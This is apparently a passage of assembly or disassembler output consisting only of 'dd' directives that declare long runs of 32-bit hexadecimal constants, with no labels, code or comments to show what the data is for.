		dd 0E89B453Ch, 0C0F783E4h, 0EB86713Ch, 0FF2FFCFCh, 79AE9488h
		dd 0C2E1749Eh, 399E15E4h, 0FC34551Ch, 0A6E6F184h, 0FC9F42C9h
		dd 3A950184h, 0FE151A33h, 0A2B46784h, 0C73A9AE2h, 0E94C02AEh
		dd 0D00DE574h, 0DD21788Fh, 2CC45184h, 3CE76934h, 0A3B57138h
		dd 0D39A74FCh, 6E4C066Eh, 24E2B54Bh, 0C74C07FCh, 1635D62Eh
		dd 9C60E8EFh, 6E0DA77h,	6C15DED2h, 0C73FDF4Ch, 805CDD5Ah
		dd 4852045Dh, 0C9E2847Ch, 76F402A5h, 31673268h,	566B2A12h
		dd 9DFACF6Ch, 3D343727h, 9F2DC5DDh, 0F472DA41h,	317B1617h
		dd 0C5E4A5CEh, 6A608030h, 0A06F7506h, 0F91BFB9Eh, 0A9CC07A5h
		dd 4C031CD8h, 0B8353A41h, 71C4084h, 68F580D3h, 8527CBF8h
		dd 80C387h, 3548E54Ah, 9482ED3Dh, 0FC91798Fh, 2CAD80D2h
		dd 3700EB46h, 5EE91FF8h, 0F5311728h, 18C3D1DAh,	0D037717Ch
		dd 0C8A04942h, 4D8DEC6Ch, 0FC312148h, 3460D13Fh, 0A3E897F8h
		dd 0FB311688h, 0F878516Fh, 0A35885F8h, 0C840615Fh, 478E8AEBh
		dd 23306528h, 6DC0DDBFh, 5E8A04F8h, 0C86C8109h,	0C43478FBh
		dd 0F9B010CDh, 4294E848h, 71088E58h, 0C8DE3A4Ah, 1B8A1BEFh
		dd 0C2313C9Dh, 0C7BAE38Ah, 1050712Ch, 0C8565A5Dh, 345FD0E2h
		dd 89F77E6h, 5C811DEBh,	0CB0495BDh, 478ED5C2h, 6D257117h
		dd 978B9649h, 5BD05A8Ch, 0F4308FBDh, 0E7D7E2FBh, 0F82D70A4h
		dd 0C72B4245h, 5E5177F8h, 0CB045A62h, 0EB8320C5h, 3EF25B0Fh
		dd 0CF205E3Ch, 0A1831DF6h, 0C08992h, 4A80DF5Ch,	5831CE6Ch
		dd 2AC164B7h, 0E30C5D42h, 8E82D922h, 0E78612A8h, 9582E4B1h
		dd 0CB865C9h, 0CFEFEA62h, 306C5584h, 0A57A1D6Eh, 9ED8A592h
		dd 0D4823817h, 4D233D95h, 70FB6553h, 59898CCAh,	3E6C12CCh
		dd 5395E867h, 161C37FFh, 9CE69E12h, 7197FC29h, 2B42829Fh
		dd 0D67BF2CCh, 0D7079C4Ah, 9E631413h, 97B365F9h, 0FBCE23F2h
		dd 0FE5D88CCh, 0F685118Fh, 0D9191FDDh, 0F2053689h, 8B694299h
		dd 309B5ACCh, 0D476C60Ah, 96A31191h, 0F09A6558h, 380164Ah
		dd 0BE741ACCh, 0B104F6D8h, 7B502290h, 475E6521h, 0D4D751EAh
		dd 0EA02DCADh, 0ED04BE09h, 0A10437Dh, 1E8CCACCh, 0D4EF4199h
		dd 20A2F596h, 0F001778Eh, 8ABEE325h, 0BE70AACCh, 0D481C717h
		dd 5242BD93h, 8EFB655Eh, 59868CEAh, 0DECC08CCh,	1604F776h
		dd 7ADD42BAh, 1F59654Bh, 0D4D6EF0Ah, 6DA3330Dh,	0F004E00Eh
		dd 0AADE305h, 0D0945446h, 82061BDDh, 34814684h,	52429D93h
		dd 90FB65DEh, 58068CEAh, 0DE6C08CCh, 16047776h,	0FADD42B0h
		dd 0BF59654Bh, 0CA56F20Ah, 7E400A90h, 260526A3h, 8A824882h
		dd 9B5A64BEh, 0D4673BAAh, 99191BDDh, 6B34DC5Eh,	0F4B477F0h
		dd 220DDC2Eh, 0D2A5D9FCh, 96FB657Eh, 59A68C2Ah,	1E4C08CCh
		dd 16049776h, 1ADD82B2h, 9F59654Bh, 0D4F6EF4Ah,	6D632B0Dh
		dd 0F004E02Eh, 2ABF2285h, 0FE50AACCh, 0D4816717h, 4D02BDEDh
		dd 0E8FB65FEh, 0D46A8E2Ah, 193B0875h, 0F68D17FEh, 81A2D1EDh
		dd 0ED0B648Eh, 8A76E3D0h, 0BE800ACCh, 2604C6A3h, 0AA424896h
		dd 0AB5B64BEh, 5C86C1EAh, 4E25D574h, 7F0F76EDh,	12D65ECh
		dd 895233Eh, 0AC2D786Bh, 5CD1A7DCh, 68752013h, 265B0463h
		dd 50087DCCh, 408794B0h
		dd 6A35062Eh, 69EA7770h, 59C2F80Eh, 329742E3h, 9B6BACD2h
		dd 0A5E8FA7Ch, 0D7BA458Fh, 5493E98Eh, 0BB256D64h, 537764EBh
		dd 0BA4EFBFFh, 0BA31B50Bh, 589866FCh, 0C497703Ch, 19F4EC1Fh
		dd 1340049h, 4E67A60Ch,	98B9D580h, 0E0ADC6F9h, 53E28C14h
		dd 0BCD49E4Bh, 0B7352A94h, 12437CBCh, 84B6A45Ch, 385769E4h
		dd 18F7FB76h, 9B9745FCh, 0D0127547h, 0C4FB0538h, 529D804Eh
		dd 195962ACh, 0B4AD135Ch, 0B8A9EB33h, 0E1152B86h, 4BBE46FCh
		dd 4D17C76Ch, 4D0764D0h, 6D7C7285h, 0D41913E7h,	48D3EF97h
		dd 0C54EC553h, 6B45EC69h, 1A346B77h, 0E0F31677h, 0D65FBCD0h
		dd 0C5D94CCFh, 3718CF81h, 0D6BCC28Fh, 0E2BCD3FFh, 64BB7EF8h
		dd 98F26642h, 236C8F2Ah, 4F42FD33h, 41BC329Ch, 260F0EB6h
		dd 34DFF271h, 44FFB2BFh, 48FBA4A7h, 4FF263E8h, 704936ECh
		dd 0C4F6FA75h, 41B30E4Ch, 923564A4h, 57647753h,	267961D5h
		dd 4EB78C8Ch, 7B672571h, 6ED96B7Ah, 1BCDEA65h, 31B2AFAEh
		dd 0E0B5E524h, 45EE1D40h, 0ED2FEB24h, 8CE20977h, 71B2E8FDh
		dd 0D52071Fh, 0D551C175h, 0A8C6E662h, 14B923ABh, 6F22C276h
		dd 3A0D8A7Bh, 7C5AC51Fh, 4184AE4Ch, 0BEB33D02h,	51B0386Dh
		dd 3FB89A2Eh, 18C6EAD6h, 50F71535h, 3A66B251h, 1993AE70h
		dd 0CF34BEDEh, 0D530622Bh, 0CFD8D6A9h, 497345C0h, 0D59D3554h
		dd 7E6F168h, 0AFBFD908h, 0B8724733h, 7492EE77h,	54CBFFA7h
		dd 0DA348CFBh, 0DD7DE4ACh, 389DEE07h, 679A736Ch, 0C456F76Ch
		dd 0F886569Fh, 99731750h, 0B4864E10h, 0C5056447h, 1D33A9DCh
		dd 5439FDCCh, 482560BAh, 52ABC69Ch, 52DB64D0h, 0E47C9685h
		dd 0FCABEF0Eh, 3A54EF3Eh, 3B03F476h, 0E044FF68h, 0BA64D813h
		dd 8614F12Fh, 0B62CFA77h, 0EE968C77h, 4D8666D0h, 30BDF6AEh
		dd 38BD87CFh, 0A3965E64h, 4BA57DD5h, 0E9D975A8h, 0D5A7BF74h
		dd 3470D860h, 9C71D79Bh, 4869D7F1h, 414A27Ch, 85A069A1h
		dd 4CFBA47Eh, 0A4EB5CF2h, 8BDBF108h, 74CA7578h,	9607FB17h
		dd 4F6BC775h, 24BCBDF8h, 454FC041h, 20DDA3CEh, 2CB7E948h
		dd 0DBFAD504h, 55FDE7FAh, 0A60BBF20h, 4E3BFC5Ch, 0CAF6E572h
		dd 0A9853C53h, 38953D1Ch, 4E6D94D1h, 1CABE1E4h,	0BF2F74DCh
		dd 228CA077h, 90FBFC8Ch, 0FCB4C4C9h, 3754F33Dh,	2AB7827Ah
		dd 0D5058272h, 0CADC85CAh, 3B24F47Ah, 0A2B79E40h, 0B45F6E3Ah
		dd 0BE7F5748h, 940882C5h, 0F10A04D5h, 717517E0h, 0A9D10B66h
		dd 42F880E7h, 7E4508CBh, 47FEF8F8h, 0B24D167Fh,	0B603325Bh
		dd 0FE0E379Eh, 0AAEB4DDFh, 566F74BDh, 8893BA17h, 36AA1F14h
		dd 51BA1506h, 38FE1953h, 0DBA079FCh, 0C73AF4DEh, 49B16457h
		dd 0D2304E24h, 0DFD35C4Ch, 0D755F025h, 0C4AEAB44h, 0F9357D95h
		dd 4FCE0409h, 0C9E0755Bh, 8D8BF42Ah, 0E2B5FD57h, 486CB57Ch
		dd 0ACD15468h, 0F5AA88C1h, 0DCD80F04h, 5082FE85h, 9AA1DE67h
		dd 0A6ACF514h, 1132AAE0h, 0A5580454h, 0A6602DB2h, 0B637CD7Ah
		dd 63F23510h, 43F444BAh, 7420824Eh, 0AE5EDC80h,	0EB9D01ECh
		dd 5CA6BB32h, 0C9FF436Ah, 93AA2C84h, 5F551431h,	0B16E23D1h
		dd 0ED202A6Bh, 8F3CFAA6h, 0D898487Eh, 6305C129h, 79F3C52Dh
		dd 0AFD9CFFFh, 110EFFFDh, 3EAE80EDh, 0C7E4F42Eh, 52E02861h
		dd 71C5B738h, 41B2C468h, 1CF5C1CFh, 0F9B5071Fh,	45CE1D2Fh
		dd 0AAA99202h, 5C78F17Eh, 23AB9E9Dh, 8700CBFEh,	0B72C0151h
		dd 87394177h, 0E53FD796h, 8B5D13BCh, 46B05FA8h,	8A7D7BFCh
		dd 0C2D10424h, 516382B0h, 0C34C3360h, 9C65ED5Bh, 0DBB4B2C7h
		dd 0EDBAF8E3h, 1D86D8FFh, 71B2B188h, 0C6AB6379h, 45493D3Bh
		dd 0C7AB8B02h, 0C838F34Ah, 2BF6B6DFh, 0C32DF62Ch, 41DE663Ch
		dd 69321207h, 5392FC76h, 0A3638F4h, 0C402E6B6h,	81AE8321h
		dd 3347A81h, 9F30B6F2h,	0A51FF0CFh, 0C8B8D4F1h,	5D865C2Eh
		dd 6EC22AD0h, 4D354CC0h, 0DFCCFBF9h, 27459858h,	0BF37CE98h
		dd 9B8BC7AAh, 1E9D103Bh, 0DF6DD8B5h, 7B152DACh,	37B5EE79h
		dd 0B30D7A77h, 42BF0CD1h, 0EC91C775h, 94FAFE57h, 47FF4DCFh
		dd 2149FCB3h, 0E7602A82h, 0B1BD380Bh, 0D8682B52h, 0B1AD8E7Ah
		dd 0EAB5447Ah, 45058038h, 837AFA53h, 17DFE8EFh,	6980C644h
		dd 483EDCABh, 0BD7A0453h, 283DEF08h, 0A67B3727h, 4E32889Dh
		dd 21DF9A95h, 7D4AF314h, 4DF82B9Ah, 2F4890B3h, 0B69FCA78h
		dd 67BF78B7h, 0EC3E9F18h, 7C943237h, 7003DD95h,	0E30F0D13h
		dd 99CB9A7Fh, 499080FDh, 38ED6895h, 35967E67h, 3BB3F6E8h
		dd 6F906160h, 176362F7h, 3AA3F36Dh, 69AA9E58h, 49DB155Bh
		dd 0C0D4850Bh, 0B177D206h, 0DFB53364h, 0A9591492h, 0F22CF4A3h
		dd 47F03576h, 0A3E9426Bh, 0EDF4D518h, 915EF877h, 1E2CA5FBh
		dd 54BA1060h, 4F6847C9h, 0A49B71FBh, 66BCC68Fh,	0EC55A4B2h
		dd 4C356A63h, 1B34DA7Bh, 94E7CF7Bh, 1CAEC4A8h, 5AB24680h
		dd 8E1F468Dh, 0C5F844B7h, 0E05AF97Ch, 0F6AC6456h, 40537538h
		dd 0C42D0E92h, 5FC40B77h, 0F2469519h, 0C82C7262h, 0F67D2C64h
		dd 466D64D8h, 0D4D7E213h, 0EAB76450h, 0F83BD5FBh, 0D6BF944Fh
		dd 55B352FFh, 411AF8B8h, 3A7ED9CCh, 0F0E3E67Fh,	44D975DDh
		dd 7C027782h, 49B7C0EDh, 929B33C2h, 705FE13Ch, 79E7D24Ch
		dd 78B538FFh, 0B8C3FB53h, 4689A47Ch, 44DD74E6h,	15AAEE68h
		dd 0C72EF507h, 169783FDh, 487DA440h, 17130CE2h,	0A0767DF9h
		dd 441B0B8Ch, 0C6B687DCh, 1446D58Bh, 0C5E9295Eh, 0DBA8F68Ch
		dd 362CFC90h, 7C48C762h, 0C509B4F8h, 31C50C01h,	0C7A18FC9h
		dd 5AD48103h, 0D428BB5Bh, 17EFF62Ah, 0C470A4BDh, 0E75AFA16h
		dd 0F574DDE4h, 0E4CBEBB8h, 0DE684A6h, 646C686Bh, 66A1CB2Bh
		dd 9A35235Dh, 57AADE84h, 14D7E2CCh, 0D719BD99h,	0C53E8D53h
		dd 145DE75Ah, 9F340144h, 0C4BC86ADh, 62A4FD23h,	0B7F7F2E7h
		dd 0E5226050h, 0DE16ED5Ah, 7FF207BDh, 9E1608B1h, 0F44A6C7Dh
		dd 2AE2FCE0h, 6D1BB673h, 7CF35530h, 26F8E6B1h, 42E77106h
		dd 86A43A96h, 50B8BF7Ch, 753FB418h, 7C3ED4D9h, 81B716EAh
		dd 0DCD79A38h, 8EBC7DCDh, 0E47ADED8h, 5944FF4Bh, 55095483h
		dd 7D8C4B8h, 0F812CAF8h, 4521ACE4h, 0C101662Dh,	0B8C47DC8h
		dd 0B9891BF1h, 0B668DA4Bh, 0B8A243F7h, 56D880F6h, 2681842Ah
		dd 5A02C13Ch, 0E0A576C6h, 0A1ECC096h, 0F48AB05h, 6CDA7DCBh
		dd 37A03050h, 0B7FEBE80h, 7550220Ch, 241C8292h,	0EFCF44E9h
		dd 88D35815h, 8CB3A3A9h, 0C677A63Ch, 43A42342h,	29288519h
		dd 0B0A51684h, 7E8D469Ch, 30C37130h, 0FDA3694Eh, 60C3076Dh
		dd 7C0559C3h, 91C1E93Bh, 9F195530h, 19A686C4h, 0EB2E91CBh
		dd 0D2482428h, 0DFBCC304h, 0D0809D84h, 0B4787D31h, 2AEB7861h
		dd 9A1FA956h, 0F53AC683h, 0FAE43133h, 0BDA045E4h, 6763B2C8h
		dd 0F423C295h, 0E98BF898h, 0CA2BE585h, 57BBF78Fh, 1A1F047Bh
		dd 741C8500h, 294C561Bh, 44E4D70h, 4FCC860Ah, 9DBF917Bh
		dd 1CA847C0h, 0FAF9AD3Ch, 0F9335766h, 75AD6593h, 0EA1F7890h
		dd 0CD2C44E7h, 42387F82h, 0C22B7F9Ch, 10EC9077h, 0B9FA1DF2h
		dd 0FEAF700Fh, 8B3C5DBAh, 90AA79CAh, 4024B383h,	71A77102h
		dd 0BD1069Ch, 74E0E1E2h, 0A1A056FDh, 15DA3DFh, 0D73A0894h
		dd 5AD193Ch, 0D2700AD9h, 0E4CA6E3Bh, 0DD19773Eh, 547CD798h
		dd 0A4938163h, 0A4DBF027h, 9F013AFDh, 39E70C98h, 0ED68590h
		dd 533E938h, 7E79B528h,	40A015D0h, 0FD3C91EEh, 0D8D160E9h
		dd 3F2344EDh, 0F8E8FDC3h
		dd 7532B124h, 7B36199Fh, 0ADCC49F9h, 1A9A663Dh,	8E866CB6h
		dd 0C488D999h, 0FD45F9F3h, 0B514DCE3h, 9EA568B1h, 430B96EDh
		dd 0C172210Dh, 28CCB43Ah, 0F1D9026Ah, 0BAA81405h, 495F438Dh
		dd 0A306DF91h, 244384C7h, 0E1FE574h, 0FC14DF3Ch, 0E7C212C7h
		dd 7B6C5DFEh, 18A443B6h, 78ECC3DCh, 1925C492h, 0D6D22E6Bh
		dd 0D85C86CBh, 13A56FF9h, 0D8FB3715h, 75AE532Eh, 69624EE8h
		dd 8CE511Eh, 20BCB308h,	3D031E2Ah, 22C5236Fh, 340DF04Eh
		dd 696304CFh, 1B0F83Fh,	50C0755h, 2BC4F6FDh, 0DE4CB4DCh
		dd 18618913h, 9FF3B1A8h, 0C4164151h, 87A2C96Fh,	523BA3Ch
		dd 26B98B82h, 2AC6A24Eh, 0DBB688D9h, 77C4EED6h,	41728BDCh
		dd 73125997h, 9C84C281h, 7A2745E2h, 0B41F70ABh,	0C63D7867h
		dd 0BB1E5C60h, 0FDBFB333h, 589C4D28h, 8026DDFFh, 58CAEB99h
		dd 0DB6DE9FEh, 794C120Dh, 0DFA832CBh, 94FB1467h, 3A80B693h
		dd 67621EE5h, 8E022621h, 5D4439FEh, 2F02839Ch, 2496D381h
		dd 8CB999F5h, 67E228FAh, 89C82430h, 9F61677h, 507D41C4h
		dd 6FA6FC0h, 2AEA581Eh,	35AEF4EFh, 33CF8DE8h, 8318C500h
		dd 24D157FFh, 22EF7176h, 28553196h, 56CA015Eh, 43ED5DAAh
		dd 9F46118h, 6D28B44Ah,	229196Ah, 0E1E85CCh, 8910257h
		dd 0CB903A23h, 6290D09Ah, 1EF568F2h, 16224D01h,	0C8B1751Bh
		dd 33F6B6E0h, 670F5B43h, 8CE26388h, 0BBFEACD4h,	10EDC5C1h
		dd 0DDB8E3BEh, 3EE8AA87h, 660F77B1h, 92EE6BAAh,	0C178815Eh
		dd 91A9215Ch, 2083D2Ch,	0B27D6D9Ch, 0CEB404B2h,	7053EC69h
		dd 0BB66F2F9h, 0B39054B6h, 168FF544h, 0C1B7233Ah, 0CD75C1E0h
		dd 0D9ACC573h, 0A29C9B3Fh, 249E767Ah, 6D741D0Bh, 0BBEF735Ch
		dd 0DBE6576h, 2BABBD15h, 0F6F3AC9Ah, 74D5BD22h,	0AC2F2943h
		dd 17B2734Bh, 305B4E39h, 4C289C18h, 3B115D77h, 0D71A9F92h
		dd 0B130B46Fh, 0BAF4AB64h, 0B47DC0B3h, 716C4ED1h, 36D48525h
		dd 0D00F91CAh, 6F176D8Ah, 696D7EFCh, 0A832B5FDh, 0C0E41656h
		dd 9C432435h, 431D882Eh, 7593640Dh, 3AD346AAh, 56AC628Ch
		dd 0DBADEEA0h, 0E989AB10h, 212660C9h, 0B96F54Dh, 27AD97EDh
		dd 0D282F69Bh, 0C3BA7446h, 0AA520B5Dh, 0C4DE6F77h, 0A9468917h
		dd 63677E7Fh, 0CFBD6815h, 0E934F7DCh, 0B90CBC3Ch, 0BC6409D3h
		dd 0C764EB5Eh, 4A98A06h, 0C9F2B562h, 0B17C0A3Fh, 114A84F8h
		dd 96DA11B4h, 528DD750h, 0C50D71C6h, 900A133Eh,	71ACB947h
		dd 3FAC63EAh, 0C046D0FCh, 0D2E5B4E1h, 3A3F1E68h, 1CF67CF0h
		dd 0C741BF1Ch, 0D89AF35h, 0B00C41F8h, 0BA347757h, 75A36506h
		dd 4B220280h, 4FA4CCC0h, 3898C101h, 5387D110h, 38865820h
		dd 0B0EBF8F4h, 21AF6ACFh, 0DDCD1F24h, 0B53D07EDh, 0C6AD01F8h
		dd 725C737h, 48A833EDh,	658B6FDFh, 2B1A3818h, 0F7F3E896h
		dd 75766556h, 1D658497h, 7AAC031Ah, 50AF7D2Fh, 3D8260DFh
		dd 5F74690h, 0C7A17605h, 0A292068h, 40F65A38h, 1127ACADh
		dd 0AB3D0C91h, 81278C28h, 9DB6E68Bh, 4A470A3Fh,	8132DE10h
		dd 7E85FE9Dh, 0B996C3F1h, 8725B3DDh, 687680DEh,	3BEBA316h
		dd 0E6FBC622h, 58EC1111h, 0F233ECFAh, 4B093FEDh, 42AC6906h
		dd 29C92868h, 6E6A6AD1h, 0ECA8F7CDh, 72B0EEB1h,	1F3877D0h
		dd 83CE774Ch, 0E2307F26h, 0CCA072FBh, 0C4CCED04h, 0EEB1BC4Ah
		dd 0BF6471Dh, 682DCB11h, 0F021AFF9h, 0DA9738D0h, 0C8AEA34h
		dd 4AA1A648h, 0C883B477h, 0AF21931Fh, 0CF485A35h, 0DE1887BDh
		dd 0F2167FEDh, 9481280Ch, 761FFC43h, 0E809FB0Bh, 0C223B1FCh
		dd 25FAC5DDh, 0BA316CBCh, 0C22CB4FCh, 0DF63A3E0h, 0CF68CA14h
		dd 5B307CFCh, 0F867DDDEh, 5347906h, 0C503A33Ah,	4B0D1B5Bh
		dd 7A2CB5F6h, 3243DC6h,	0CB349D27h, 5C3CB36Dh, 510FB71Fh
		dd 2BFC15ECh, 0F19C6DEDh, 7B5003BEh, 0C1A985D4h, 379873EBh
		dd 601942E9h, 7124FA22h, 695B8182h, 8021A5F9h, 0F8A9C60Dh
		dd 0B5F7CAE2h, 0BE0FE38Ch, 0E35468AFh, 74D765FAh, 0FBE151F6h
		dd 11A0A103h, 9CE16E3Ch, 0A48A3A8Ah, 8EAAAA89h,	0DCDE6025h
		dd 0C95ACBD5h, 0F422F30Fh, 0C2A27864h, 0C13D4940h, 1D7B4E3h
		dd 0BE297C24h, 239EAE32h, 0B4B4856Dh, 9895F862h, 0A765353Ch
		dd 0A6E6F6D0h, 0E3ADCE7Ah, 0BF6A07C6h, 0DFD4C9EAh, 0A3F0E4F9h
		dd 0D146F681h, 897E7C47h, 4A684532h, 0DF053349h, 0C0311E50h
		dd 0C82A7061h, 0C923FC2Eh, 888A8166h, 7863C396h, 0FC807DDFh
		dd 0E790CDF5h, 91580DA5h, 0B91A2649h, 0FC3179D5h, 44E28E6Bh
		dd 42745E47h, 0C30BFC96h, 0B5AFF6EEh, 2B807E62h, 0DAE4E32Dh
		dd 54DAD269h, 944C5D8Dh, 9F93843Ch, 0E09BF4ECh,	58A5B766h
		dd 0E025C2F8h, 0F830C579h, 6EC65C84h, 4529FE16h, 0FAE7B7A7h
		dd 0C0DB3DD1h, 0ED0977h, 680DC19Eh, 3C2E6B93h, 5B850267h
		dd 918493C5h, 6A87BE64h, 0FF30906Eh, 725862F1h,	7EC24610h
		dd 39AE90C3h, 6B38FEE1h, 4225A8E8h, 77F3B614h, 0DA14B9E0h
		dd 0C3A12404h, 0A5224363h, 0D8B881AEh, 0E201AF2Ch, 8B6403C8h
		dd 0CE20AB67h, 5AD67B84h, 0FF187793h, 2F172B34h, 8D45B4FDh
		dd 0D31B8035h, 0C7F480A5h, 4F4C7EEFh, 2C3D121Ah, 35A284CCh
		dd 0DF19F7E0h, 0A64CE21Ch, 7D08C014h, 57AD1AA9h, 0B32CAEF4h
		dd 0EB05160Bh, 5C753E39h, 0CE8CBF4Ch, 99E4D363h, 1695275Dh
		dd 9C4E4692h, 23728CE1h, 19857928h, 0BD5F1901h,	0CD0173FCh
		dd 0DBB580FDh, 83AC941Bh, 3E552713h, 6947851Ah,	54C72F9h
		dd 6EC10F18h, 0C3F34FC7h, 68324E46h, 6848244Ch,	0B48724EEh
		dd 8FC1E099h, 0CB0164C3h, 34387735h, 2FCD8B3Eh,	0BFED0B31h
		dd 7665C8F4h, 20A9A79Eh, 0C90C9135h, 0E7CEB397h, 570B92A7h
		dd 0B796FCC7h, 0DF3E526Eh, 7C4927EBh, 3038882Bh, 2B6933EDh
		dd 1CD0BBC5h, 0D1BA77CBh, 0C73B30E1h, 2F62706Bh, 0E857EAAh
		dd 90E45129h, 1A183542h, 53000F7Ah, 771A24E0h, 5E6BE255h
		dd 0C8EF7E3Eh, 7E088126h, 34F75572h, 3C08288Fh,	0EC787F02h
		dd 0DA254D0Eh, 0EC052DEDh, 0F8D185DBh, 48E7AA1Bh, 0ED7731FEh
		dd 0C7345415h, 46455618h, 4C81CE33h, 7A53D93Bh,	42D3F2Fh
		dd 83D87CDBh, 3AAE61D6h, 4B02E8CAh, 0A66F578h, 29CF6A81h
		dd 0A92C91A6h, 0BBECDD1Ah, 3438D91Ah, 0C29864EFh, 446ABF0h
		dd 8AEDF15Dh, 0BBD06A21h, 0A52EAB1Eh, 0B84CC699h, 4F71F31Ch
		dd 0CCEF5523h, 0CFD5FBBDh, 0DDA5C2EAh, 343D64BEh, 0E7253E57h
		dd 0C8AC7566h, 0CA7684EAh, 0C306767Fh, 0B4D7CAE0h, 10DAB39Eh
		dd 69151D2Fh, 0FE022ED9h, 45E14333h, 0FC883DBAh, 0C4D15F12h
		dd 65DF655Fh, 283E884Eh, 45FB2837h, 0A5227543h,	9BFD77E8h
		dd 0DAFD013Eh, 0FD066603h, 7BF55706h, 0F6D96736h, 0E48A6B1Ch
		dd 69B1D51Eh, 0A481025Ah, 3824D538h, 0C45B56CCh, 0C36C90E0h
		dd 0C80480C0h, 0DF28C7C8h, 2D299034h, 0CF77570Dh, 65266673h
		dd 46D12D84h, 2AF8DEDBh, 625E4FDEh, 2307F5D4h, 5CDF2406h
		dd 0CB8EF244h, 2D095CEBh, 0FF03DEC8h, 31B9A17Bh, 0DB13E5DFh
		dd 75F15C07h, 0F5656CC4h, 0C90076D7h, 0EAF86712h, 59D8E246h
		dd 24DE74BCh, 252C4547h, 1D6CBAF3h, 233447E0h, 4C5A1E4h
		dd 74ED7E81h, 36936C4Ah, 700F4BAh, 61E391B1h, 68A232A0h
		dd 0AE1BA367h, 73B2750Fh, 0BBADFFC0h, 0C14FFD0Dh, 8A9488D3h
		dd 171EF6C3h, 94520A8Bh, 48B544CCh, 7A24BA27h, 48340596h
		dd 75ACC5FDh, 374B32E1h, 259FAA4Ch, 0B2F47DD1h,	0F6CEDAF9h
		dd 6811FCACh, 949FEECEh
		dd 7B26753Ch, 7BFFA575h, 7DF6D452h, 7D5981FDh, 0F326E9F5h
		dd 0AD3A362Eh, 40EC35A7h, 0C0152C62h, 0B8D480F4h, 32573861h
		dd 0A9DABD32h, 6A4E1D68h, 6AA72F92h, 719DF8DCh,	2E1A01DFh
		dd 4C558CF5h, 9D209F4Bh, 35D2B0DAh, 4A3477A0h, 40AF7E81h
		dd 0B80F853Dh, 7E2BC4D1h, 66463F1Ch, 0C8A16543h, 0E1E9613Ch
		dd 780451D6h, 27165763h, 4EAF57AEh, 8A8CB302h, 0B6E90984h
		dd 0D5BBF5F2h, 0B8136161h, 38D3B768h, 2B9B2AD6h, 0ABE63FE3h
		dd 6AFD2744h, 0C010B106h, 43F96218h, 88AD5F8Ah,	697971CCh
		dd 0DF5473Eh, 3B489D1Dh, 7D9590A7h, 2A9D97EFh, 0A2B0CFEh
		dd 4EE15D0Fh, 9F5977Bh,	0C7F957DCh, 0D264B278h,	0DCB4E033h
		dd 0A785229Bh, 50A5FEFEh, 42EE4303h, 8AA073CFh,	1B0B4887h
		dd 0D5F0DE9Fh, 0A03E324h, 0FDAD2EE0h, 3C7D0078h, 457643D5h
		dd 6F079FBDh, 0B4EB1E3Fh, 77F1B79Fh, 8A7BDF53h,	9C0F81Ch
		dd 3D691DF6h, 0BC17C50Eh, 3CD1C4D6h, 0C9746BE7h, 0B3203121h
		dd 2A3001F4h, 0F865BC9Ah, 5A0EB864h, 15DA02FBh,	0ED450861h
		dd 451CAE18h, 22F2188Eh, 0F6EC8084h, 0B697E126h, 9CF38001h
		dd 0AC366515h, 56640266h, 0AC7FD0h, 0E025ADC2h,	66299114h
		dd 0D03DD2E8h, 6BC431EDh, 3FE30F7Ch, 0C7E68863h, 0AAD915D1h
		dd 4B40C743h, 0C55A5DC6h, 60CF9378h, 0CB85009Fh, 0D551E506h
		dd 6779269Ch, 2ACC41D3h, 9CF86D0Eh, 44CBF1CFh, 67AC243Fh
		dd 7A4935E6h, 0FFD885F9h, 0D42290E3h, 8C271999h, 7C53BFFDh
		dd 0A989B241h, 6650269Ch, 0DD231C77h, 7EEB6E96h, 0C5ED2A37h
		dd 4B7DB88Bh, 166D99CEh, 484A5D5h, 0C4BE62Eh, 3928638Ch
		dd 549873Ch, 7B0CDD7Ah,	0D8D1553Fh, 2F319145h, 0C3F41352h
		dd 0ACCA21E3h, 0BA0A84A7h, 0C264B3D9h, 8B81B721h, 0CBD1B6AEh
		dd 6EE526A2h, 88C02B67h, 0A24A7321h, 0EFDD066h,	29167FFBh
		dd 768BFEBEh, 789E9F64h, 0D6B17AC1h, 0E504BA4Bh, 0B3A035FAh
		dd 0E8DCB4B0h, 0A4B4AF8Eh, 49D3EDB9h, 78909B3Fh, 3CCECC5Ah
		dd 0B6FBDBFCh, 55E2527h, 0F93ACACAh, 0F8EC3B0Ah, 0D656B582h
		dd 3EADBED1h, 9C73F4A0h, 458C58A8h, 0A83FFD5Eh,	22AE6B60h
		dd 75287865h, 90BC47EAh, 1589B21Ch, 7F250120h, 68E0456Fh
		dd 7DF3FECEh, 72001ABh,	5DC28B04h, 68DAB46Ch, 5BDE636Dh
		dd 0DBA5FEC8h, 7066136h, 68AC9146h, 54CF0ACEh, 0A2628179h
		dd 666C94E8h, 0B722C2EEh, 4571CABBh, 6270348Ch,	0DA046975h
		dd 0BF7CD4A3h, 0E164BFEFh, 655E811Ch, 0C6F25BD6h, 0B2CF91E1h
		dd 8758B004h, 0ED86001h, 3B6F5F5Eh, 989F419h, 162C50EEh
		dd 0D806621Ah, 6A2842C2h, 0C2011CCBh, 850FBC87h, 1B72435Ch
		dd 0B34D10E8h, 51EABD4Ch, 1C0FCA7Dh, 7AFAA8Ch, 0B6897922h
		dd 3A571F2h, 1FF1AAEEh,	12F2B75Ch, 0F8782E1h, 0E62152Bh
		dd 0CB16FF56h, 83949EA8h, 8D9E0FBh, 6AF4D827h, 1D9265E8h
		dd 0F5FB1CF9h, 0B0B9D4Eh, 5A24F433h, 0B39F627Eh, 110CF6A0h
		dd 2B320867h, 4EA060F8h, 699B6191h, 8C0938Ah, 33FC8819h
		dd 0CBFF1CE4h, 0DDD4E0DAh, 402A194h, 0E01C7F35h, 9F307829h
		dd 0C4CD602Bh, 0A0CB182Fh, 202BF94Ah, 5C5ED2D0h, 0A14C07E4h
		dd 7DF46804h, 3C42D2F7h, 0B10EEC2Bh, 0B7F3B12Fh, 5E815D94h
		dd 2A1BB2BCh, 0F8D5F9BEh, 0C7C91757h, 6D0E299h,	0D3E06861h
		dd 94A036EEh, 342C49FDh, 7145A36Bh, 0D94F3AB1h,	92059861h
		dd 274980F8h, 0E74D1EA9h, 30F5013Bh, 4B8ABBD8h,	0DD3A3546h
		dd 382A3881h, 0C9701EF4h, 0E2C255BAh, 16F14BEh,	0A8876D22h
		dd 0F2C26EF5h, 0D09DA8C3h, 115630BBh, 0AD2AD408h, 0AA1B2397h
		dd 195D725Ah, 4E41C8Eh,	86C741CEh, 2C12E60h, 0AAD11ECCh
		dd 0DE4D18CCh, 457DC80Eh, 832BBD25h, 75AF68F4h,	62CE502Ch
		dd 0FC470B50h, 0F144B1B5h, 0BAE675CAh, 39B57C03h, 63A01DFBh
